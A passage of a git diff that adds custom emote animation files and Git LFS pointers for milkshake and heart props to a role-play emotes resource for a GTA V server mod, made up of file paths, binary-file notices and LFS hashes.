b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_egirl_cute_selfie.ycd new file mode 100644 index 000000000..58c9c1bfa Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_egirl_cute_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_floor_slutarch_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_floor_slutarch_selfie.ycd new file mode 100644 index 000000000..6bef477b1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_floor_slutarch_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_gunbunny_rifle_photo.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_gunbunny_rifle_photo.ycd new file mode 100644 index 000000000..70c50fe09 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_gunbunny_rifle_photo.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_laying_sexy.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_laying_sexy.ycd new file mode 100644 index 000000000..47bb0f0e4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_laying_sexy.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_14.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_14.ycd new file mode 100644 index 000000000..952c17a92 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_14.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_15.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_15.ycd new file mode 100644 index 000000000..89b11db87 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_15.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_17.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_17.ycd new file mode 100644 index 000000000..58ef5870a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_17.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_21.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_21.ycd new file mode 100644 index 000000000..1acb1a8b4 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_21.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_photo_cute.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_photo_cute.ycd new file mode 100644 index 000000000..8578e9e25 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_photo_cute.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_showoff.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_showoff.ycd new file mode 100644 index 000000000..caea6520b Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_showoff.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_showoff_two.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_showoff_two.ycd new file mode 100644 index 000000000..b99f0b7c6 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_model_showoff_two.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_04.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_04.ycd new file mode 100644 index 000000000..7c05e9b38 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_04.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_cute.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_cute.ycd new file mode 100644 index 000000000..392636503 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_cute.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_risque.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_risque.ycd new file mode 100644 index 000000000..01924fed9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_selfie_risque.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_sit_01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_sit_01.ycd new file mode 100644 index 000000000..510e66c3e Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@female_sit_01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@fuck_you_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@fuck_you_selfie.ycd new file mode 100644 index 000000000..ebe57b30f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@fuck_you_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_basketball_03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_basketball_03.ycd new file mode 100644 index 000000000..b08e97f09 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_basketball_03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_bskball_hold.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_bskball_hold.ycd new file mode 100644 index 000000000..3eaf262b8 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_bskball_hold.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_bskball_photo_pose.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_bskball_photo_pose.ycd new file mode 100644 index 000000000..ebf837803 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_bskball_photo_pose.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_01.ycd new file mode 100644 index 000000000..528b26546 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_03.ycd new file mode 100644 index 000000000..bed5c533a Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_03_b.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_03_b.ycd new file mode 100644 index 000000000..f040ac2f7 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_couple_03_b.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_drinking_01.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_drinking_01.ycd new file mode 100644 index 000000000..030548f13 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_drinking_01.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_insta_selfie.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_insta_selfie.ycd new file mode 100644 index 000000000..0f1a88b89 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_insta_selfie.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_03.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_03.ycd new file mode 100644 index 000000000..f24f61ca0 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_03.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_08.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_08.ycd new file mode 100644 index 000000000..6a131f901 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_08.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_11.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_11.ycd new file mode 100644 index 000000000..642bb0f8f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_model_11.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_selfie_08.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_selfie_08.ycd new file mode 100644 index 000000000..6bdfaa242 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_selfie_08.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_selfie_09.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_selfie_09.ycd new file mode 100644 index 000000000..ea52199a9 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@male_selfie_09.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@model_kylie_insta.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@model_kylie_insta.ycd new file mode 100644 index 000000000..ce0fb2486 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@model_kylie_insta.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@selfie_floor_cute.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@selfie_floor_cute.ycd new file mode 100644 index 000000000..4062c0d00 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@selfie_floor_cute.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@sitting_thot.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@sitting_thot.ycd new file mode 100644 index 000000000..956d1ba69 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/anim@sitting_thot.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/smo@milkshake_idle.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/smo@milkshake_idle.ycd new file mode 100644 index 000000000..69ea12afe Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/Struggleville/smo@milkshake_idle.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/VNSIanims/male_gun@vanessssi.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/VNSIanims/male_gun@vanessssi.ycd new file mode 100644 index 000000000..8562d9c60 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/VNSIanims/male_gun@vanessssi.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@boypose04.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@boypose04.ycd new file mode 100644 index 000000000..2aae55be1 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@boypose04.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@boypose05.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@boypose05.ycd new file mode 100644 index 000000000..6b3dd211d Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@boypose05.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@girlphonepose13.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@girlphonepose13.ycd new file mode 100644 index 000000000..87ae17a29 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@girlphonepose13.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@girlphonepose21.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@girlphonepose21.ycd new file mode 100644 index 000000000..66982680f Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/WolfSquareEmotes/eagle@girlphonepose21.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/custom@hold_umbrella.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/custom@hold_umbrella.ycd new file mode 100644 index 000000000..ae79a9c30 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/custom@hold_umbrella.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/custom@police.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/custom@police.ycd new file mode 100644 index 000000000..a0bbf8374 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/custom@police.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/ultra@propose.ycd b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/ultra@propose.ycd new file mode 100644 index 000000000..0b6589013 Binary files /dev/null and b/resources/rpemotesreborn1.6.0/stream/[Custom Emotes]/ultrahacx/ultra@propose.ycd differ diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_bubblegum.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_bubblegum.ydr new file mode 100644 index 000000000..c2833dcb9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_bubblegum.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bdc61f9f5cd7e8c299f9cea4722c0421143dee1820d4ff9bcfac7be6ae28d098 +size 287029 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_cherry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_cherry.ydr new file mode 100644 index 000000000..272ab2914 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_cherry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0025d53d797ae1cb00aa6d29522429d8d6f70f40fea241816e8e18c7e6aef7c3 +size 287016 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_chocolate.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_chocolate.ydr new file mode 100644 index 000000000..4e5912318 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_chocolate.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f9df17d5d4651513b47f9d9954658aa6847fb68ca599334b86140698fc11243e +size 287018 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_coffee.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_coffee.ydr new file mode 100644 index 000000000..d820f3427 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_coffee.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e4dcce035ca4d3a7ade4ced508892593c39a17225baa260477338b0371e9b56e +size 287025 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_doublechocolate.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_doublechocolate.ydr new file mode 100644 index 000000000..cecbdae62 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_doublechocolate.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a4990445fdf76006ff62a2599959c3dbe2214a69b909dd460464f67c128f558c +size 287109 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_frappe.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_frappe.ydr new file mode 100644 index 000000000..fbd482c97 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_frappe.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:dcafea0e6f4b2bf0fda726651bcf9c035db8b236545c630759ebd25001dcd31e +size 287032 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_lemon.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_lemon.ydr new file mode 100644 index 000000000..dc624623b --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_lemon.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d731dca1cfb7c97f0ca3e9fc3eacc291302ddcaab7f127d914002d14bb75e619 +size 287025 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_mint.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_mint.ydr new file mode 100644 index 000000000..42d857566 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_mint.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:152a547b9b248041f504094a95f62d9c1efd79f0f13a0ad1d56ae7c68d570350 +size 287022 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_raspberry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_raspberry.ydr new file mode 100644 index 000000000..25ef1ffae --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_raspberry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:90b41941f6f64bbee195a4d331ec2eedcef582e54fbf72d9fde053709d8353e4 +size 287030 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_salted.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_salted.ydr new file mode 100644 index 000000000..42b5ceec6 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_salted.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e1ddab976270717124714c8cadd3f068fecd826c5c289a2f2d98089b5bc3f59a +size 287016 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_strawberry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_strawberry.ydr new file mode 100644 index 000000000..52e17776e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_strawberry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6d37055e14192e240e1471d66e0b827c3320441827da1c567c5bf0eb76139771 +size 287025 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_vanilla.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_vanilla.ydr new file mode 100644 index 000000000..efaf8c496 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_cherryshake_vanilla.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f0e1a1be6f440721d293503235bc5cab3984ac91d35d1c4f155a42bb21a19de4 +size 287062 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_heart.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_heart.ydr new file mode 100644 index 000000000..ac9a25ac3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_heart.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f743b11d6b77ab222baad1a865e9d7b063fa31bf6a0fbeeb66721a43b31b34d8 +size 218163 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_heartfrappe.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_heartfrappe.ydr new file mode 100644 index 000000000..92146c10a --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_heartfrappe.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c7cecb274c2ddb547d15529b1d2673fb3f127bf094ac61fe7e30875950a6a873 +size 1429105 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_bubblegum.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_bubblegum.ydr new file mode 100644 index 000000000..8d7f0b4a9 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_bubblegum.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:65e218478aba31c13c7a9f50984775b690e3060eaa4c28552f3eec3f857bc65e +size 49108 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_cherry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_cherry.ydr new file mode 100644 index 000000000..b43187335 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_cherry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4e86b7ec207d6afc8e85b23935671534b3edf9f6cb303b83ba2e870b9f7b218a +size 49105 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_chocolate.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_chocolate.ydr new file mode 100644 index 000000000..42718b7a0 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_chocolate.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:eae9e14a532ea417099bc379b43fb931fa4ad4f7ba2579d5f2ad87db169f928b +size 49104 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_coffee.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_coffee.ydr new file mode 100644 index 000000000..ab76179ff --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_coffee.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:91d86e21f50ce8f218b456961fb8b8e3ddbe7bfd60598dd91d356bd5bc73d4ee +size 49105 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_doublechocolate.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_doublechocolate.ydr new file mode 100644 index 000000000..ff3eaf570 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_doublechocolate.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e7c7fd4c7e50cfc85e46b2011797a9223d9f244eef6b127aea443b8565701a09 +size 49134 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_frappe.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_frappe.ydr new file mode 100644 index 000000000..84e4f0627 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_frappe.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f2d05571496584bfeb998ecd62e90d6e2fd71034d42d58c7d7b7f8e22aba6114 +size 49109 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_lemon.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_lemon.ydr new file mode 100644 index 000000000..9afebc4c3 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_lemon.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:971d4fd46c6ddd637844da48342249d950e40aad229d17f9deaad935979010e4 +size 49107 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_mint.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_mint.ydr new file mode 100644 index 000000000..20a24cc5e --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_mint.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9523e53c5841ee9678af5daa660743e00b7b3c849d123cdc1da7d03177a54bc7 +size 49106 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_raspberry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_raspberry.ydr new file mode 100644 index 000000000..99ee4e974 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_raspberry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8f00a2152c06617360d28072ccbd694ded533db21debeccb56c68f4d4d281084 +size 49114 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_rsaltedcaramel.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_rsaltedcaramel.ydr new file mode 100644 index 000000000..bee6dc8f5 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_rsaltedcaramel.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:542896a4114f1a81656f4cfb952aaad9a7f38822361b7c4a351ea17c0b50d256 +size 49114 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_strawberry.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_strawberry.ydr new file mode 100644 index 000000000..037dc2a96 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_strawberry.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:bfa26debf30ec4741d5f140174f5588af7fb1712d19a407f6c4c398ac35f6b7a +size 49108 diff --git a/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_vanilla.ydr b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_vanilla.ydr new file mode 100644 index 000000000..a5a0adcbb --- /dev/null +++ b/resources/rpemotesreborn1.6.0/stream/[Props]/Brummiee/brum_shake_vanilla.ydr @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:3b8029a83f9a998bffb5e6d9f5150d9fa73144b1bcb5aa134b0c6d909c198569 +size 49069 diff --git 